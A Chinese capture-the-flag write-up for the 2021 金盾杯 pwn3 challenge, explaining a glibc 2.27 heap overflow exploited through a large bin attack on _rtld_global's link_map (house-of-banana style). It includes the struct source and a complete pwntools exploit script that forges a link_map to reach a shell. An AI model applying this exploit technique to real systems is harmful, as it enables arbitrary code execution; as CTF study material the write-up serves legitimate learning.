2021 金盾杯 pwn3 wp

在这里插入图片描述
保护显然是全开

在这里插入图片描述
放size的chunk跟放地址的chunk挨着
然后数组能越界
所以当我们申请序号是16的chunk的时候
chunk的地址会写在chunk0的size地方
就造成了堆溢出

然后我们申请的chunk只能是large bin里的。
所以这道题说白了就是 2.27 large bin 堆溢出。

我们试图考虑利用攻击global_max_fast的手法,我们虽然能够覆盖到global_max_fast,但是我们申请的chunk的大小不够,不够我们后续的chunk释放分配到_IO_list_all的需求,所以不行。

那么我们考虑类似于house of banana的利用手法
我们攻击&_reld_global中的link_map结构体。

具体做法首先通过溢出泄露libc
然后我们用large bin attack
可以往任意地址写一个堆地址
我们直接写在&_reld_global中的link_map的指针处

在这里插入图片描述

然后我们就可以伪造link_map结构体
具体怎么伪造我们还要看源码

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;		/* Difference between the address in the ELF
				   file and the addresses in memory.  */
    char *l_name;		/* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;		/* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */

    /* All following members are internal to the dynamic linker.
       They may change without notice.  */

    /* This is an element which is only ever different from a pointer to
       the very same copy of this type for ld.so when it is used in more
       than one namespace.  */
    struct link_map *l_real;

    /* Number of the namespace this link map belongs to.  */
    Lmid_t l_ns;

    struct libname_list *l_libname;
    /* Indexed pointers to dynamic section.
       [0,DT_NUM) are indexed by the processor-independent tags.
       [DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
       [DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
       indexed by DT_VERSIONTAGIDX(tagvalue).
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
	DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
       DT_EXTRATAGIDX(tagvalue).
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
	DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
       indexed by DT_VALTAGIDX(tagvalue) and
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
	DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
       are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>.  */

    ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
		      + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
    const ElfW(Phdr) *l_phdr;	/* Pointer to program header table in core.  */
    ElfW(Addr) l_entry;		/* Entry point location.  */
    ElfW(Half) l_phnum;		/* Number of program header entries.  */
    ElfW(Half) l_ldnum;		/* Number of dynamic segment entries.  */

    /* Array of DT_NEEDED dependencies and their dependencies, in
       dependency order for symbol lookup (with and without
       duplicates).  There is no entry before the dependencies have
       been loaded.  */
    struct r_scope_elem l_searchlist;

    /* We need a special searchlist to process objects marked with
       DT_SYMBOLIC.  */
    struct r_scope_elem l_symbolic_searchlist;

    /* Dependent object that first caused this object to be loaded.  */
    struct link_map *l_loader;

    /* Array with version names.  */
    struct r_found_version *l_versions;
    unsigned int l_nversions;

    /* Symbol hash table.  */
    Elf_Symndx l_nbuckets;
    Elf32_Word l_gnu_bitmask_idxbits;
    Elf32_Word l_gnu_shift;
    const ElfW(Addr) *l_gnu_bitmask;
    union
    {
      const Elf32_Word *l_gnu_buckets;
      const Elf_Symndx *l_chain;
    };
    union
    {
      const Elf32_Word *l_gnu_chain_zero;
      const Elf_Symndx *l_buckets;
    };

    unsigned int l_direct_opencount; /* Reference count for dlopen/dlclose.  */
    enum			/* Where this object came from.  */
      {
	lt_executable,		/* The main executable program.  */
	lt_library,		/* Library needed by main executable.  */
	lt_loaded		/* Extra run-time loaded shared object.  */
      } l_type:2;
    unsigned int l_relocated:1;	/* Nonzero if object's relocations done.  */
    unsigned int l_init_called:1; /* Nonzero if DT_INIT function called.  */
    unsigned int l_global:1;	/* Nonzero if object in _dl_global_scope.  */
    unsigned int l_reserved:2;	/* Reserved for internal use.  */
    unsigned int l_phdr_allocated:1; /* Nonzero if the data structure pointed
					to by `l_phdr' is allocated.  */
    unsigned int l_soname_added:1; /* Nonzero if the SONAME is for sure in
				      the l_libname list.  */
    unsigned int l_faked:1;	/* Nonzero if this is a faked descriptor
				   without associated file.  */
    unsigned int l_need_tls_init:1; /* Nonzero if GL(dl_init_static_tls)
				       should be called on this link map
				       when relocation finishes.  */
    unsigned int l_auditing:1;	/* Nonzero if the DSO is used in auditing.  */
    unsigned int l_audit_any_plt:1; /* Nonzero if at least one audit module
				       is interested in the PLT interception.*/
    unsigned int l_removed:1;	/* Nozero if the object cannot be used anymore
				   since it is removed.  */
    unsigned int l_contiguous:1; /* Nonzero if inter-segment holes are
				    mprotected or if no holes are present at
				    all.  */
    unsigned int l_symbolic_in_local_scope:1; /* Nonzero if l_local_scope
						 during LD_TRACE_PRELINKING=1
						 contains any DT_SYMBOLIC
						 libraries.  */
    unsigned int l_free_initfini:1; /* Nonzero if l_initfini can be
				       freed, ie. not allocated with
				       the dummy malloc in ld.so.  */

#include <link_map.h>

    /* Collected information about own RPATH directories.  */
    struct r_search_path_struct l_rpath_dirs;

    /* Collected results of relocation while profiling.  */
    struct reloc_result
    {
      DL_FIXUP_VALUE_TYPE addr;
      struct link_map *bound;
      unsigned int boundndx;
      uint32_t enterexit;
      unsigned int flags;
    } *l_reloc_result;

    /* Pointer to the version information if available.  */
    ElfW(Versym) *l_versyms;

    /* String specifying the path where this object was found.  */
    const char *l_origin;

    /* Start and finish of memory map for this object.  l_map_start
       need not be the same as l_addr.  */
    ElfW(Addr) l_map_start, l_map_end;
    /* End of the executable part of the mapping.  */
    ElfW(Addr) l_text_end;

    /* Default array for 'l_scope'.  */
    struct r_scope_elem *l_scope_mem[4];
    /* Size of array allocated for 'l_scope'.  */
    size_t l_scope_max;
    /* This is an array defining the lookup scope for this link map.
       There are initially at most three different scope lists.  */
    struct r_scope_elem **l_scope;

    /* A similar array, this time only with the local scope.  This is
       used occasionally.  */
    struct r_scope_elem *l_local_scope[2];

    /* This information is kept to check for sure whether a shared
       object is the same as one already loaded.  */
    struct r_file_id l_file_id;

    /* Collected information about own RUNPATH directories.  */
    struct r_search_path_struct l_runpath_dirs;

    /* List of object in order of the init and fini calls.  */
    struct link_map **l_initfini;

    /* List of the dependencies introduced through symbol binding.  */
    struct link_map_reldeps
      {
	unsigned int act;
	struct link_map *list[];
      } *l_reldeps;
    unsigned int l_reldepsmax;

    /* Nonzero if the DSO is used.  */
    unsigned int l_used;

    /* Various flag words.  */
    ElfW(Word) l_feature_1;
    ElfW(Word) l_flags_1;
    ElfW(Word) l_flags;

    /* Temporarily used in `dl_close'.  */
    int l_idx;

    struct link_map_machine l_mach;

    struct
    {
      const ElfW(Sym) *sym;
      int type_class;
      struct link_map *value;
      const ElfW(Sym) *ret;
    } l_lookup_cache;

    /* Thread-local storage related info.  */

    /* Start of the initialization image.  */
    void *l_tls_initimage;
    /* Size of the initialization image.  */
    size_t l_tls_initimage_size;
    /* Size of the TLS block.  */
    size_t l_tls_blocksize;
    /* Alignment requirement of the TLS block.  */
    size_t l_tls_align;
    /* Offset of first byte module alignment.  */
    size_t l_tls_firstbyte_offset;
#ifndef NO_TLS_OFFSET
# define NO_TLS_OFFSET	0
#endif
#ifndef FORCED_DYNAMIC_TLS_OFFSET
# if NO_TLS_OFFSET == 0
#  define FORCED_DYNAMIC_TLS_OFFSET -1
# elif NO_TLS_OFFSET == -1
#  define FORCED_DYNAMIC_TLS_OFFSET -2
# else
#  error "FORCED_DYNAMIC_TLS_OFFSET is not defined"
# endif
#endif
    /* For objects present at startup time: offset in the static TLS block.  */
    ptrdiff_t l_tls_offset;
    /* Index of the module in the dtv array.  */
    size_t l_tls_modid;

    /* Number of thread_local objects constructed by this DSO.  This is
       atomically accessed and modified and is not always protected by the load
       lock.  See also: CONCURRENCY NOTES in cxa_thread_atexit_impl.c.  */
    size_t l_tls_dtor_count;

    /* Information used to change permission after the relocations are
       done.  */
    ElfW(Addr) l_relro_addr;
    size_t l_relro_size;

    unsigned long long int l_serial;

    /* Audit information.  This array apparent must be the last in the
       structure.  Never add something after it.  */
    struct auditstate
    {
      uintptr_t cookie;
      unsigned int bindflags;
    } l_audit[0];
  };

我们要注意里面有l_init_called的检查,它也是结构体中的一项,不同的libc中它的位置不一样,我们还要去调,看看他在哪。
然后改成8.
在这里插入图片描述

然后我们最后要达成一个什么目的呢。
在这里插入图片描述

最后他会执行fini_array中的函数,我们通过控制结构体来控制它。

在这里插入图片描述
最后达到这种效果。

具体它在哪个位置不同的libc我们要细调。

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "./Note"

local = 1
if local:
    r = process(pc)
    elf = ELF(pc)
    libc = elf.libc
    
else:
    r = remote("81.69.230.99",9003)
    elf = ELF(pc)
    libc = ELF("./libc-2.27.so")

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

def add(idx, size):
    sla("choice >> ", "1")
    sla("Note index :", str(idx))
    sla("Note size :", str(size))
    
def delete(idx):
    sla("choice >> ", "2")
    sla("Note index :", str(idx))

def edit(idx, con):
    sla("choice >> ", "3")
    sla("Note index :", str(idx))
    sa("Note :", con)

def show(idx):
    sla("choice >> ", "4")
    sla("Note index :", str(idx))


add(0, 0x450) #0
add(1, 0x450) #1 
add(2, 0x430) #2
add(3, 0x460) #3 
add(16, 0x500) #16


delete(1)
edit(0, 'a' * 0x460)
show(0)

malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + libc.search("/bin/sh\x00").next()
_rtld_global = libc_base + 0x619060
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
og = libc_base + 0x4f3c2
ret = libc_base + 0x2419a
pop_rdi = libc_base + 0x215bf
lg("libc_base")
lg("setcontext_53")
edit(0, '\x00' * 0x450 + p64(0) + p64(0x461))
add(4, 0x500)

payload = '\x00' * 0x450 + p64(0) + p64(0x461)
payload += p64(0) + p64(_rtld_global - 0x10) + p64(0) + p64(_rtld_global - 0x20)
edit(0, payload)

delete(3)
add(5, 0x500)

edit(0, 'a' * 0x468)
show(0)
ru("a" * 0x468)
fake_link_map_addr = u64(r.recv(6).ljust(8, "\x00"))
lg("fake_link_map_addr")

edit(0, '\x00' * 0x450 + p64(0) + p64(0x461) + p64(0))


# fake_link_map_addr
l_addr = fake_link_map_addr+0x150
pay = flat([
    l_addr,0,               
    0,fake_link_map_addr+0x18,  #0x10
    0,fake_link_map_addr,       #0x20
    fake_link_map_addr+0x50,0, #0x30
    fake_link_map_addr+0x18,0, #0x40
    0,fake_link_map_addr+0x30,   #0x50
    0,fake_link_map_addr+0x58,   # 0x60
    0,fake_link_map_addr+0x50,   #0x70
    fake_link_map_addr+0x58,0,   #0x80   
    '\x00'*(0x100-0x80),
    fake_link_map_addr+0x140,0,  #0x110
    fake_link_map_addr+0x128,fake_link_map_addr+0x140,  #0x120
    0x10,fake_link_map_addr+0x150,
    0xdead,0,
    setcontext_53,og,   #0x150
    og,0,        #0x160
    og,
    '\x00'*0x80,
    fake_link_map_addr+0x160,
    pop_rdi
])
pay = pay.ljust(0x314,'\x00')+'\x08'
pay = pay.ljust(0x470,'\x00')

payload = '\x00' * 0xcf0 + pay

edit(0, payload)

src='''
bin
tele &_rtld_global
x/20xg $rebase(0x202060)
dir ./glibc/glibc-2.27/elf/
 b *(_dl_fini+464)
# b *(_dl_fini+184)
# b *(_dl_fini+536)
# b *(_dl_fini+410)
# b *$rebase(0xeed)
c
'''
dbs(src)

sla("choice >> ", "5")


ti()

其中对于伪造结构体那一段是一个大概的模板,里面的具体数值还要细调。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值